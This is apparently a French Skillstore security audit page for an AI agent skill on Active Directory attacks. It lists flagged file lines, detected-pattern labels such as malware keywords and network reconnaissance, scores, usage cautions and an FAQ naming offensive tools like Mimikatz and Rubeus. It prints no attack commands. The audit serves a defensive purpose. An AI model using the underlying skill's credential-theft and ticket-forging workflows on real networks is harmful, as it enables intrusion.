references/advanced-attacks.md:70 references/advanced-attacks.md:23 references/advanced-attacks.md:24 references/advanced-attacks.md:44 references/advanced-attacks.md:51 references/advanced-attacks.md:56 references/advanced-attacks.md:68 references/advanced-attacks.md:85 references/advanced-attacks.md:91 references/advanced-attacks.md:131 references/advanced-attacks.md:169 references/advanced-attacks.md:262 references/advanced-attacks.md:305 references/advanced-attacks.md:306 references/advanced-attacks.md:315 references/advanced-attacks.md:316 references/advanced-attacks.md:339 references/advanced-attacks.md:99 references/advanced-attacks.md:185 SKILL.md:57-69 SKILL.md:69-73 SKILL.md:73-84 SKILL.md:84-88 SKILL.md:88-109 SKILL.md:109-117 SKILL.md:117-123 SKILL.md:123-129 SKILL.md:129-141 SKILL.md:141-147 SKILL.md:147-156 SKILL.md:156-162 SKILL.md:162-169 SKILL.md:169-179 SKILL.md:179-188 SKILL.md:188-194 SKILL.md:194-197 SKILL.md:197-201 SKILL.md:201-210 SKILL.md:210-216 SKILL.md:216-223 SKILL.md:223-231 SKILL.md:231-240 SKILL.md:240-244 SKILL.md:244-246 SKILL.md:246-254 SKILL.md:254-263 SKILL.md:263-267 SKILL.md:267-269 SKILL.md:269-277 SKILL.md:277-289
🌐 Accès réseau (30)
references/advanced-attacks.md:233 references/advanced-attacks.md:296 SKILL.md:268 SKILL.md:59 SKILL.md:83 SKILL.md:119 SKILL.md:122 SKILL.md:131 SKILL.md:137 SKILL.md:149 SKILL.md:164 SKILL.md:203 SKILL.md:204 SKILL.md:205 SKILL.md:208 SKILL.md:209 SKILL.md:245 SKILL.md:256 SKILL.md:262 SKILL.md:279 SKILL.md:282 SKILL.md:285 SKILL.md:288 SKILL.md:295 SKILL.md:298 SKILL.md:305 SKILL.md:348 SKILL.md:351 SKILL.md:357 SKILL.md:367
📁 Accès au système de fichiers (3)
Motifs détectés
Malware type keywords×5Windows registry accessWeak cryptographic algorithm×5Secure file deletionSystem reconnaissance×4Network reconnaissance×7Network scanning tools
Audité par: codex Voir l’historique des audits →
Partager et citer ce rapport
Partagez le rapport d’évaluation versionné, le badge neutre, la carte intégrable et les citations. Skillstore présente les preuves sans décider si ce Skill est sûr.
Copier le lien du rapport
https://skillstore.io/skills/sickn33-active-directory-attacks/audits/6?utm_source=security_passport&utm_medium=share&utm_campaign=versioned_reportBadge Markdown
[](https://skillstore.io/skills/sickn33-active-directory-attacks?utm_source=security_passport_badge)Badge HTML
<a href="https://skillstore.io/skills/sickn33-active-directory-attacks?utm_source=security_passport_badge"><img src="https://skillstore.io/badges/skills/sickn33-active-directory-attacks/security.svg" alt="Skillstore security assessment" loading="lazy"></a>Carte intégrable
<iframe src="https://skillstore.io/embed/skills/sickn33-active-directory-attacks.html" title="Skillstore Security Assessment" sandbox="allow-popups allow-popups-to-escape-sandbox" loading="lazy" referrerpolicy="no-referrer" width="420" height="180"></iframe>Citations académiques (APA · BibTeX · CFF)
Citation APA
zebbern. (2026). active-directory-attacks security audit report (audit version 6) [Author version unspecified]. Skillstore. https://skillstore.io/skills/sickn33-active-directory-attacks/audits/6Citation BibTeX
@techreport{zebbern-sickn33-active-directory-attacks-2026,
author = {zebbern},
title = {active-directory-attacks security audit report (audit version 6)},
institution = {Skillstore},
year = {2026},
number = {6},
url = {https://skillstore.io/skills/sickn33-active-directory-attacks/audits/6},
note = {Author version unspecified}
}CITATION.cff
cff-version: 1.2.0
message: "If you use this Skill, cite its author and this versioned security audit report."
title: "active-directory-attacks security audit report (audit version 6)"
version: "unspecified"
type: report
authors:
- name: "zebbern"
date-released: "2026-07-09"
url: "https://skillstore.io/skills/sickn33-active-directory-attacks/audits/6"
identifiers:
- type: other
value: "skillstore:sickn33-active-directory-attacks:audit:6"
description: "Skillstore immutable audit report identifier"
Score Skillstore
Pourquoi ce score Niveau de confiance des preuves: Moyen 41
Architecture
85
Maintenabilité
87
Contenu
70
Communauté
91
Conformité aux spécifications
Ce que vous pouvez créer
Planifier une évaluation AD autorisée
Créer une checklist cadrée pour la reconnaissance, l’examen des identifiants, les tests Kerberos et le reporting.
Valider les chemins d’attaque en laboratoire
Comparer les résultats de laboratoire aux chemins d’abus AD connus et aux catégories d’attaques de tickets.
Enseigner les concepts d’attaque AD
Utiliser la référence pour expliquer les faiblesses AD courantes et les contrôles de sécurité requis dans un laboratoire pédagogique.
Essayez ces prompts
Examiner le périmètre de sécurité
Pour mon laboratoire Active Directory autorisé, résume les prérequis, les limites de sécurité et les étapes de documentation avant d’utiliser cette compétence.
Créer une checklist de reconnaissance
Crée une checklist de reconnaissance cadrée pour une évaluation Active Directory approuvée en utilisant uniquement des étapes de découverte non destructives.
Comparer les catégories d’attaques
Compare les catégories d’attaques d’identifiants, Kerberos, de relais et AD CS dans cette compétence pour un environnement de test contrôlé.
Construire un plan d’évaluation
Construis un plan d’évaluation autorisée des chemins d’attaque Active Directory avec des objectifs, la gestion des preuves, des contrôles de rollback et des sections de reporting.
Bonnes pratiques
- Utiliser uniquement avec une autorisation écrite, un périmètre défini et des fenêtres de test approuvées.
- Privilégier les laboratoires isolés lors de l’apprentissage de techniques qui modifient l’authentification, les tickets, les certificats ou les objets AD.
- Consigner les preuves, les comptes affectés, les actions de rollback et l’état du nettoyage pour chaque chemin testé.
Éviter
- Ne pas exécuter les commandes de la compétence contre des systèmes situés en dehors du périmètre approuvé.
- Ne pas effectuer de password spraying, de credential dumping ni de tests de relais sans contrôles de verrouillage et d’impact.
- Ne pas laisser de tickets, certificats, comptes, tâches planifiées ou changements de stratégie après un test.
Foire aux questions
Cette compétence est-elle défensive ou offensive ?
Il s’agit d’une référence offensive d’évaluation Active Directory pour une utilisation autorisée en red team et en laboratoire.
La compétence exécute-t-elle automatiquement des attaques ?
Non. Il s’agit d’une référence Markdown, mais elle contient des commandes que les utilisateurs pourraient exécuter manuellement.
Puis-je l’utiliser sur des réseaux de production ?
Utilisez-la uniquement avec une autorisation écrite, un périmètre approuvé et des contrôles de sécurité documentés.
Quels outils référence-t-elle ?
Elle référence des outils tels que Impacket, Mimikatz, BloodHound, Rubeus, CrackMapExec, PowerView et Certipy.
Inclut-elle des mesures de remédiation défensive ?
Elle inclut des contraintes et du dépannage limités, mais ce n’est pas un guide de durcissement ou de détection.
Pourquoi l’examen marketplace est-il important pour cette compétence ?
La compétence contient des workflows détaillés de vol d’identifiants, de falsification de tickets, de relais, d’exploitation et de persistance.
Détails du développeur
Auteur
zebbernLicence
MIT
Révision Skillstore
r1
Avis de version
L’auteur n’a déclaré aucune version.
Dépôt
https://github.com/sickn33/antigravity-awesome-skills/tree/main/skills/active-directory-attacksRéf
3e4b6c31a74a3bd1a291c98cf585d720cb9fbc88
Récence de maintenance
18/07/2026
Utilisation
6 téléchargements · 199 vues
Structure de fichiers